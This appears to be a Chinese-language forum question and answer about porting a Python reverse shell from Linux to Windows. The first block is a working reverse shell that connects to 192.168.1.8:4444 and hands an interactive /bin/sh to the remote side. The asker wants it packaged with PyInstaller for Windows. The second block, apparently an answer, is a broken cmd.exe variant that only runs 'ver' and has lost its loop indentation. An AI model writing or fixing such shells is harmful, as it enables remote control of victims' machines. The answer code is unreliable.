我有这段代码
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
这在 linus 上运行良好,但在 Windows 上运行不佳。我使用 pyinstaller 复制它,当我在 Windows 上运行它时,我在第 4 行得到一个错误的文件描述符。我如何使用这种方法制作一个适用于 Windows 的反向 shell?
import socket, os, subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))
p = subprocess.Popen(['cmd.exe', '/c', 'ver'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Redirect the standard input, output, and error streams to the socket
for stream in [p.stdin, p.stdout, p.stderr]:
os.dup2(s.fileno(), stream.fileno())
p.wait()